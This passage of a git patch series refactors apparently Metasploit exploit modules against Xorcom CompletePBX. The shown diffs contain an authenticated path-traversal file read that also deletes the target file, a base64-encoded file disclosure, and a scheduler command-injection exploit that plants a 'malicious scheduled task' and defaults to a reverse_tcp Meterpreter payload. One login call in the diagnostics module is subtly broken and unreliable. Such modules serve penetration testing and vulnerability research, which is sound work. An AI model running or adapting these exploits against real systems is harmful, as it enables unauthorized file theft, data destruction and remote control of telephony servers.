print_status("Attempting to read file: #{datastore['TARGETFILE']} (Encoded as: #{encoded_path})") @@ -101,18 +74,17 @@ class MetasploitModule < Msf::Auxiliary } }) - unless res - fail_with(Failure::Unreachable, 'No response from target') - end + fail_with(Failure::Unreachable, 'No response from target') unless res + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200 + fail_with(Failure::NotVulnerable, 'No content retrieved; target not vulnerable or file empty') if res.body.to_s.empty? - unless res.code == 200 - fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") - end + doc = res.get_html_document + doc.at('//b[contains(text(),"Fatal error")]') - if res.body.empty? - fail_with(Failure::NotVulnerable, 'No content retrieved, the server may not be vulnerable or the file is empty.') - end + fatal_regex = %r{\r?\n\s*Fatal error}i + content, separator, = res.body.partition(fatal_regex) + content = res.body if separator.empty? - print_good("Content of #{datastore['TARGETFILE']}:\n#{res.body}") + print_good("Content of #{datastore['TARGETFILE']}:\n#{content.rstrip}") end end diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb index db30eb17de..14dd66670e 100644 --- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::XorcomCompletePBX prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) @@ -39,8 +40,8 @@ class MetasploitModule < Msf::Exploit::Remote 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], - 'Arch' => ARCH_CMD - # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' } } ] ], @@ -61,93 +62,37 @@ class MetasploitModule < Msf::Exploit::Remote end def check - print_status('Checking if the target is running CompletePBX...') - - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET' - }) - - return Exploit::CheckCode::Unknown('No response from target.') unless res - return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 - - doc = res.get_html_document - - if doc.at('//meta[@name="description"][@content="CompletePBX"]') || - doc.at('//meta[@name="application-name"][@content="Ombutel"]') - - print_good("Detected CompletePBX on #{peer}") - return Exploit::CheckCode::Appears - end - - return Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.') - end - - def login - print_status("Attempting authentication with username: #{datastore['USERNAME']}") - - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'login'), - 'method' => 'POST', - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - 'userid' => datastore['USERNAME'], - 'userpass' => datastore['PASSWORD'] - } - }) - - unless res - fail_with(Failure::Unreachable, 'No response from target') - end - - unless res.code == 200 - fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") - end - - sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first - - unless sid_cookie - fail_with(Failure::NoAccess, 'Authentication failed: No session ID received') - end - - print_good("Authentication successful! Session ID: #{sid_cookie}") - return sid_cookie + is_completepbx end def get_latest_task_id(sid_cookie, task_desc) print_status("Retrieving latest task ID for description: #{task_desc}...") - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'vars_get' => { 'class' => 'scheduler', 'method' => 'tasks', 'offset' => '0', - 'max' => '20', + 'max' => '20' }, 'cookie' => sid_cookie - }) + ) + fail_with(Failure::Unreachable, 'No response from target while fetching tasks') unless res - unless res - fail_with(Failure::Unreachable, 'No response from target while fetching tasks') - end + json = res.get_json_document + fail_with(Failure::UnexpectedReply, 'Invalid JSON structure') unless json.is_a?(Hash) - json_res = res.get_json_document - tasks = json_res['rows'] + rows = json.fetch('rows', nil) + fail_with(Failure::UnexpectedReply, 'Missing task list in response') unless rows.is_a?(Array) - unless tasks - fail_with(Failure::UnexpectedReply, 'Failed to retrieve task list') - end + row = rows.find { |r| r.is_a?(Array) && r[2].to_s == task_desc } + fail_with(Failure::NotFound, "Task '#{task_desc}' not found") unless row - tasks.each do |task| - if task[2] == task_desc - print_good("Found task with ID: #{task[0]}") - return task[0] - end - end - - fail_with(Failure::NotFound, "Could not find the task with description: #{task_desc}") + task_id = row[0] + print_good("Found task with ID: #{task_id}") + task_id end def create_task(sid_cookie) @@ -155,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote notes = Faker::Lorem.paragraph(sentence_count: 3) print_status("Creating malicious scheduled task with description: #{task_desc}") - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'cookie' => sid_cookie, @@ -173,21 +118,15 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'save_task', 'mode' => 'create' } - }) + ) + fail_with(Failure::Unreachable, 'No response from target while creating task') unless res - unless res - fail_with(Failure::Unreachable, 'No response from target while creating task') - end + json_res = res.get_json_document || fail_with(Failure::UnexpectedReply, 'Invalid JSON response') + state = json_res.fetch('state') { fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') } - json_res = res.get_json_document - state = json_res['state'] + print_good('Malicious task successfully created.') and return task_desc if state == 'success' - if state == 'success' - print_good('Malicious task successfully created.') - return task_desc - else - fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') - end + fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') end def run_task(sid_cookie, task_id) @@ -235,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - sid_cookie = login + sid_cookie = completepbx_login task_desc = create_task(sid_cookie) task_id = get_latest_task_id(sid_cookie, task_desc) run_task(sid_cookie, task_id) From 7ddae3ec3f981301130c3c4f9322a75716d7779f Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 16 Jul 2025 21:48:34 +0200 Subject: [PATCH 13/19] refactor(xorcom): rename helper to completepbx? + pass creds to completepbx_login --- .../exploit/remote/http/xorcom_completepbx.rb | 25 +++++++++---------- ...orcom_completepbx_diagnostics_file_read.rb | 4 +-- .../xorcom_completepbx_file_disclosure.rb | 4 +-- .../http/xorcom_completepbx_scheduler.rb | 4 +-- 4 files changed, 18 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/xorcom_completepbx.rb b/lib/msf/core/exploit/remote/http/xorcom_completepbx.rb index e40fc4aa41..933128c80b 100644 --- a/lib/msf/core/exploit/remote/http/xorcom_completepbx.rb +++ b/lib/msf/core/exploit/remote/http/xorcom_completepbx.rb @@ -9,7 +9,7 @@ module Msf module XorcomCompletePBX # Probe root page and return appropriate CheckCode # @return [Msf::Exploit::CheckCode] - def is_completepbx + def completepbx? vprint_status('Checking if the target is running CompletePBX...') res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET') return Exploit::CheckCode::Unknown('No response from target.') unless res @@ -25,19 +25,21 @@ module Msf Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.') end - # Authenticate with supplied USERNAME/PASSWORD and return session cookie - # @return [String] the "sid=..." cookie value + # Authenticate with supplied credentials and return the session cookie. + # + # @param username [String] CompletePBX username + # @param password [String] CompletePBX password + # @return [String] the "sid=..." cookie value # @raise [Msf::Exploit::Failure] on authentication failure - def completepbx_login - vprint_status("Attempting authentication with username: #{datastore['USERNAME']}") + # + def completepbx_login(username, password) + vprint_status("Attempting authentication with username: #{username}") + res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login'), 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - 'userid' => datastore['USERNAME'], - 'userpass' => datastore['PASSWORD'] - } + 'vars_post' => { 'userid' => username, 'userpass' => password } ) unless res&.code == 200 vprint_error('Authentication failed') @@ -45,10 +47,7 @@ module Msf end sid = res.get_cookies.scan(/sid=[a-f0-9]+/).first - unless sid - vprint_error('No session ID received') - fail_with(Failure::NoAccess, 'No session ID received') - end + fail_with(Failure::NoAccess, 'No session ID received') unless sid vprint_good("Authentication successful! Session ID: #{sid}") sid diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb index fbaae6664b..643878a331 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Auxiliary end def check - is_completepbx + completepbx? end def run @@ -77,7 +77,7 @@ class MetasploitModule < Msf::Auxiliary print_warning('This exploit WILL delete the target file if permissions allow.') sleep(2) - sid_cookie = completepbx_login + sid_cookie = completepbx_login(datastore['USERNAME', datastore['PASSWORD']]) target_file = "../../../../../../../../../../../#{datastore['TARGETFILE']}" print_status("Attempting to read file: #{target_file}") diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb index fc74c6d06d..fc5b5cbd52 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb @@ -52,11 +52,11 @@ class MetasploitModule < Msf::Auxiliary end def check - is_completepbx + completepbx? end def run - sid_cookie = completepbx_login + sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD']) encoded_path = ',' + Rex::Text.encode_base64(datastore['TARGETFILE']) print_status("Attempting to read file: #{datastore['TARGETFILE']} (Encoded as: #{encoded_path})") diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb index 14dd66670e..6c30570a43 100644 --- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote end def check - is_completepbx + completepbx? end def get_latest_task_id(sid_cookie, task_desc) @@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - sid_cookie = completepbx_login + sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD']) task_desc = create_task(sid_cookie) task_id = get_latest_task_id(sid_cookie, task_desc) run_task(sid_cookie, task_id) From 1fb6d488a8a0bbe6dbcc145988580065113dd81e Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 16 Jul 2025 22:30:28 +0200 Subject: [PATCH 14/19] Rename file --- .../remote/http/{xorcom_completepbx.rb => xorcom_complete_pbx.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename lib/msf/core/exploit/remote/http/{xorcom_completepbx.rb => xorcom_complete_pbx.rb} (100%) diff --git a/lib/msf/core/exploit/remote/http/xorcom_completepbx.rb b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb similarity index 100% rename from lib/msf/core/exploit/remote/http/xorcom_completepbx.rb rename to lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb From 1863eddcd458c2276b1904c442a97a4f5d533bb0 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 16 Jul 2025 22:32:20 +0200 Subject: [PATCH 15/19] chore: add magic encoding comment to Ruby files --- lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb index 933128c80b..937262df1c 100644 --- a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb +++ b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb @@ -1,4 +1,5 @@ -# lib/msf/core/exploit/remote/http/xorcom_completepbx.rb +# -*- coding: binary -*- + module Msf class Exploit class Remote From 4e70dfe70d05e956e4daa648bb497b2b290cd882 Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 16 Jul 2025 22:40:27 +0200 Subject: [PATCH 16/19] Rename mixin --- lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb | 2 +- .../scanner/http/xorcom_completepbx_diagnostics_file_read.rb | 2 +- .../scanner/http/xorcom_completepbx_file_disclosure.rb | 2 +- modules/exploits/linux/http/xorcom_completepbx_scheduler.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb index 937262df1c..6f22bd1744 100644 --- a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb +++ b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb @@ -7,7 +7,7 @@ module Msf # # Shared routines for Xorcom CompletePBX modules # - module XorcomCompletePBX + module XorcomCompletePbx # Probe root page and return appropriate CheckCode # @return [Msf::Exploit::CheckCode] def completepbx? diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb index 643878a331..7252c1504b 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -5,7 +5,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::XorcomCompletePBX + include Msf::Exploit::Remote::HTTP::XorcomCompletePbx prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb index fc5b5cbd52..c65f40ed69 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb @@ -5,7 +5,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::XorcomCompletePBX + include Msf::Exploit::Remote::HTTP::XorcomCompletePbx prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb index 6c30570a43..797795b5ca 100644 --- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HTTP::XorcomCompletePBX + include Msf::Exploit::Remote::HTTP::XorcomCompletePbx prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) From 7431958e5cba598bf514dd079f563172c866b99e Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Wed, 16 Jul 2025 22:59:48 +0200 Subject: [PATCH 17/19] Update url reference --- .../scanner/http/xorcom_completepbx_diagnostics_file_read.rb | 2 +- .../scanner/http/xorcom_completepbx_file_disclosure.rb | 2 +- modules/exploits/linux/http/xorcom_completepbx_scheduler.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb index 7252c1504b..1f8feada01 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-30005'], - ['URL', 'https://www.xorcom.com/products/completepbx/'], + ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'], ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] ], 'DisclosureDate' => '2025-03-02', diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb index c65f40ed69..1128ada69f 100644 --- a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-2292'], - ['URL', 'https://www.xorcom.com/products/completepbx/'], + ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'], ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] ], 'Privileged' => true, diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb index 797795b5ca..fe19e6231c 100644 --- a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -29,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-30004'], - ['URL', 'https://www.xorcom.com/products/completepbx/'], + ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'], ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] ], 'Privileged' => false, From 4a1f9e541e92d09a6d9323620057182f064af533 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Sat, 19 Jul 2025 04:04:14 +0200 Subject: [PATCH 18/19] Update lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb Co-authored-by: jheysel-r7 --- lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb index 6f22bd1744..3099bab82b 100644 --- a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb +++ b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb @@ -44,7 +44,7 @@ module Msf ) unless res&.code == 200 vprint_error('Authentication failed') - fail_with(Failure::NoAccess, 'Authentication failed') + fail_with(Msf::Module::Failure::NoAccess, 'Authentication failed') end sid = res.get_cookies.scan(/sid=[a-f0-9]+/).first From 56f6a65e211f64cbbe38ffa5c93751543dab34c7 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Sat, 19 Jul 2025 04:04:25 +0200 Subject: [PATCH 19/19] Update lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb Co-authored-by: jheysel-r7 --- lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb index 3099bab82b..adac9295f3 100644 --- a/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb +++ b/lib/msf/core/exploit/remote/http/xorcom_complete_pbx.rb @@ -48,7 +48,7 @@ module Msf end sid = res.get_cookies.scan(/sid=[a-f0-9]+/).first - fail_with(Failure::NoAccess, 'No session ID received') unless sid + fail_with(Msf::Module::Failure::NoAccess, 'No session ID received') unless sid vprint_good("Authentication successful! Session ID: #{sid}") sid